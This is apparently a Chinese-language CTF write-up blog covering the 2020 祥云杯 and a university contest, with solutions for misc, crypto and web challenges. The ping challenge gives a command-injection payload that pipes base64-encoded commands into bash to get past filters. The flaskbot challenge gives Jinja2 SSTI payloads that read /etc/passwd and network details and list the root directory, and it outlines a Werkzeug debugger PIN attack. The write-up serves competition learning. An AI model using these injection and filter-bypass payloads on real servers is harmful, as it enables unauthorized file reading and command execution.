祥云杯
比赛时间:2020.11.21 9:00 - 2020.11.22 21:00
比赛形式:CTF
签到题
ZmxhZ3txcV9ncm91cF84MjY1NjYwNDB9
目测base64
加密,解密得到flag
还是原来的 Ping ?
网上稍微查查可以发现ping
的命令绕过,这就是个命令绕过题
先试试输入127.0.0.1|ls
有回显
接着试错过滤字符,<space>
、&
、>
、cat
、'
、flag
等等被过滤了,但是"
、%
、\
并没有被过滤
那就构造127.0.0.1|ca"t"<./sou.js
有回显
接下来需要寻找flag
,基本命令就是
find / -name "*flag*"
空格可以用%09
进行绕过({}
也被过滤了,无法使用{IFS}
),比较难解决的就是flag
了,在flag
掺杂"
、/
、\
均无法绕过,看来不是单纯的字符检测,那就使用base64
试试
将上面的基本命令用base64
加密得ZmluZCAvIC1uYW1lICIqZmxhZyoi
构造如下payload
进行尝试
127.0.0.1|echo%09ZmluZCAvIC1uYW1lICIqZmxhZyoi|base64%09-d|bas\h
基本原理就是利用管道符|
将echo
命令的值传给base64
命令,base64
对base64内容解密并传给bash
命令
可以说我就是在这里卡住了,因为没有任何输出信息
后来朋友提示了我说把
payload
放到url
输入试试,结果惊奇发现有了回显,才反应过来浏览器自动对特殊字符进行了url
编码,而linux
并不会自动将%25
自动替换成%
或者将%7C
自动替换成|
之类的,这就导致了无回显
回显如下(我手动对齐了一下)
Result:/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/pci0000:00/0000:00:03.0/virtio0/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/dummy0/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/usr/lib/perl/5.18.2/bits/waitflags.ph
/etc/.findflag
/etc/.findflag/flag.txt
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/kpageflags
/etc/.findflag/flag.txt
便是flag
所在位置了,先记下来
既然对flag
过滤了,那么接下来cat
也需要使用base64
进行构造
执行命令为
ca\t /etc/.findf\lag/f\lag.txt
base64
加密得Y2FcdCAvZXRjLy5maW5kZlxsYWcvZlxsYWcudHh0
最终payload
为
127.0.0.1|echo%09Y2FcdCAvZXRjLy5maW5kZlxsYWcvZlxsYWcudHh0|base64%09-d|bas\h
取得flag
Result:flag{9f1a16d4-5f5c-4104-8e18-6c73621531ef}
flaskbot
这是一道SSTI
题
SSTI: Server-Side Template Injection
试着输入username
: iyume
试着输入num
: 777
会出来一个 html 纯文本页面
1:500000000.0 is too large
2:250000000.0 is too large
3:125000000.0 is too large
4:62500000.0 is too large
5:31250000.0 is too large
6:15625000.0 is too large
7:7812500.0 is too large
8:3906250.0 is too large
9:1953125.0 is too large
10:976562.5 is too large
11:488281.25 is too large
12:244140.625 is too large
13:122070.3125 is too large
14:61035.15625 is too large
15:30517.578125 is too large
16:15258.7890625 is too large
17:7629.39453125 is too large
18:3814.69726562 is too large
19:1907.34863281 is too large
20:953.674316406 is too large
21:476.837158203 is too small
22:715.255737305 is too small
23:834.465026855 is too large
24:774.86038208 is too small
25:804.662704468 is too large
26:789.761543274 is too large
27:782.310962677 is too large
28:778.585672379 is too large
29:776.723027229 is too small
30:777.654349804 is too large
31:777.188688517 is too large
32:776.955857873 is too small
33:777.072273195 is too large
34:777.014065534 is too large
35:776.984961703 is too small
36:776.999513619 is too small
37:777.006789576 is too large
38:777.003151597 is too large
39:777.001332608 is too large
40:777.000423113 is too large
41:776.999968366 is too small
42:777.00019574 is too large
43:777.000082053 is too large
44:777.000025209 is too large
45:776.999996788 is too small
45:776.999996788 is close enough
I win
二分法逼近,数字肯定无法胜利,寻找别的方法
首先是信息搜集,利用debugger
的栈查看上下文,尝试input num type error
、404
、username error
,分别出现三个报错页面,如下图
-
input num type error
信息点:对输入的
username
进行了base64
加密并储存在cookie:user
内,然后访问的时候会取得cookie:user
内的值进行解密并储存在name
这个内部变量 -
404
信息点:有一个
render_template_string()
,极大可能是注入点,它的传参是使用%s
获取的,因此可以注入模板,guessNum()
应该就是猜数字的函数,传参为num
和name
,name
就是在上一个信息点得知的username
,但是显然他并没有打印出任何与name
相关的东西,比如iyume vs bot
之类的,有可能是在人胜利时才会输出 -
username error
信息点:有一个
render_template()
,但这个调用模板的函数并不像render_template_string()
,它的传参是变量取值的形式,任何字符都无法注入,硬要说注入的话只可能是第一个参数(但一般没有人会去让用户控制网页名吧),因此这只能当作一个无用信息点
根据第二点,试着把cookie:user
改成比如e3syKjd9fQ==
(base64decode={{2*7}})
因为是render_template()
输出的这个页面,payload
的回显合乎情理
另寻途径
Python 中有一种空值类型(float)NaN
,可以通过 float('nan')
得到
float('inf')
得到无限大,负的则为无限小
NaN 与任何数进行任何比较都会返回 false
,那试着在数字框输入 NaN
1:500000000.0 is too small
2:750000000.0 is too small
...
51:1000000000.0 is too small
Wow! Damn you hacker! You will never win.
看来这里是我赢了,但是可能payload
中有特殊字符被过滤了
把cookie:user
的值换成e3syfX0=
(decode={{2}})
Wow! 2 win.
输出了我的胜利,并且\{\{2\}\}
成功被渲染成了2
至此,SSTI
注入点确定
接下来有两种思路
- 直接寻找
flag
并读取 - 收集系统信息生成
pin
码hack shell
Pin 码 Getshell
先讲讲第二种,因为我没能成功
-
生成
pin
所需系统信息(算法不贴了)- username
- modname
- app.__class__.'__name__'
- app_path
- eth0_mac
- machine-id
在报错页面已经取得了信息2
、3
、4
基本构造
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
成功得到回显
Wow! root:x:0:0:root:/root:/bin/ash bin:x:1......spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin win.
信息1
应该就是guest
了
接着构造
{{''.__class__.__mro__[2].__subclasses__()[40]('/sys/class/net/eth0/address').read()}}
得到回显00:16:3e:03:ee:c0
在python shell
执行print(0x00163e03eec0)
即可获取信息5
接着构造
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/machine-id').read()}}
返回debugger
提示No Such file or dir
,又试了试/var/lib/dbus/machine-id
,还是没有此文件,后来去列了一下目录,发现根本没有这个文件,看来是被动了手脚…以 失败 告终
直接寻找 flag
构造
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('/')}}
被过滤了
排查后发现被过滤的字符是os
,那就替换成'o'+'s'
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['o'+'s'].listdir('/')}}
成功得到回显
['proc', 'home', 'mnt', 'dev', 'srv', 'usr', 'sys', 'var', 'opt', 'bin', 'sbin', 'etc', 'run', 'media', 'tmp', 'root', 'lib', 'super_secret_flag.txt', 'app']
显然super_secret_flag.txt
就是 target 了
但它也对flag
进行了过滤
那么构造如下payload
{{''.__class__.__mro__[2].__subclasses__()[40]('/sup'+'er_se'+'cret_fl'+'ag.txt').read()}}
得到回显
Wow! flag{4e713984-b085-412d-8b8b-c95bbf4f44b9} win.
成功取得flag
注意点
- 模板对
system
关键字进行了过滤,因此继承类''.__class__.__mro__[2].__subclasses__()[71]
下调用os.system
是没用的,目前没有绕过方案
总结
祥云杯的水份还是挺高的,题目共有 31 道
- Misc 6
- Crypto 6
- PWN 6
- Reverse 7
- Web 6
除了签到题,基本每道题都非常难,也非常有意思(
Misc 有一道题目叫做进制反转
,我的基本思路是CRC 修复
然后解压文件进行二进制按位取反?正拿着python
提取了16进制
数据,又听大佬说硬解 au 原始数据导入倒放 x.5 然后搜歌词
,我就停手了(菜死了
比赛过程还学了一下RSA
加密原理,虽然最后还是不会解题(
对了,这个比赛的积分制度是一血
(没有额外奖励)、以及动态积分模式
(根据解出题目的队伍数减少相应的分值)
关于组队,因为我也没加入协会(还没开始纳新),然后就个人参赛了。此外我们学校我所知的还有很多队伍,第一的那队解题数量11
,排名好像是省内高校14
,但省内高校出赛名额只有3
个,所以我们学校也没有队伍晋级线下赛。
至于我的排名,解题数量4
,积分179
,我只知道是校内第5
,省内高校估计排到80
多的样子
校内赛的预赛已经过了,决赛形式是CTF
+AWD
,还没开始,因此做保留
还想到别的什么再作补充
校赛
比赛时间:2020-12-06 9:00-11:30, 14:00-15:30
比赛形式:CTF + AWD
其实只有 CTF 可以讲,AWD 完全不会玩。
而且题目名称很多都忘了…就随便写了
Not only base64
7JJ3vECw1FBbqNxmQrcrd8toHvUiY
听题目名字就知道这是 base 系的加解密
目测没什么特征,一个一个试,最终是用 base58 解出来了
flag{n0t_on1y_base64}
base58 很多人可能不知道这是什么,因为在日常生活确实不常见,但并不代表它用处不大,实际上比特币的钱包地址和私钥都是 base58 加密生成的。
Web 第二题
就是一道基础题,直接 hackbar 都可以解决,没有环境不讲了
Web 第三题
有时候阅读文档是一件很重要的事情
由于出题人的锅,这题端口号给错了,导致我以为这是一道 0day,搞了好半天。后来比赛结束了直接就去问了出题人,他也是才发现端口给错了。不过后来用正确的端口号为我们讲解了一下题目。
没有环境,我就随便说说算了。
网页中提示我们去看文档,并且给了个 GET 参数,值是一个函数。提交这个参数会调用对应的函数。那就需要一个可以返回所有函数的函数,这时候去读文档,可以发现 get_defined_functions 这个函数可以满足需求,于是直接 GET,只返回了一个函数,就是获取 flag 的函数,再调用一次就拿到了 flag
Misc 1
给了个 jpg 图片,查看属性-详细信息,描述里就写着 flag
Misc 2
给了个 jpg 图片,直接点开发现是不支持的格式,直接改后缀 zip,里面有 50 张二维码图片,扫码试试得不到 flag,但是发现了一张体积异常的图片,解压出来查看属性-详细信息,得到 base64 字符串,解密得 flag
Misc 3 / 4
这两题异曲同工,都是 zip 伪加密、高级伪加密,binwalk 一梭子解决。
好吧,其实我不是这么解的。我的解法很蠢。
用 010 Editor 打开 zip,把 Misc 3 的目录加密位、文件加密位改掉就可以直接打开了。把 Misc 4 的伪加密也全部去掉,但是并不能打开,直接手动提取 16 进制,把第二个文件 Tips.txt 解压了出来可以直接打开,但是第一个文件 flag.txt 还是有加密无法打开,后来发现是我漏了一处伪加密没有去掉。
Tips.txt 写了字频统计,那就对 flag.txt 进行字频统计呗。这里其实最好使用自己的脚本,因为在线的大多不支持长字符串。
Misc 5 同样也是伪加密,全部去掉解压,可以发现 flag.txt 里面写了一些描述,我记得有86
、QQMusic
、给我一杯牛奶
之类的,是一道社工题,打开 QQ 音乐搜就是了,一般就是第 86 号里写的那个评论。
Reverse
想什么呢。我不会逆向,连 IDA 都没装。
AWD
为了准备 AWD 比赛,我甚至自己搭建了一个环境分享给学长一起来玩。
地址: https://github.com/mo-xiaoxi/AWD_CTF_Platform
实际到比赛的时候,我也挺傻的,我在比赛结束前 10min 才发现每队的 root 账密就在大屏幕上写着,因为整个比赛就 1h30min,因为我太傻就基本都在划水…只能看着别的队伍拿分,还在想对方到底是怎么通过那个 Web 服务拿到 shell 的
Web 服务有个注入漏洞,进入管理页面可以发现很明显的文件包含漏洞。不过发现的时候,已经比赛快结束了。
以及,比赛服务器太弱鸡了,全场都没怎么快过。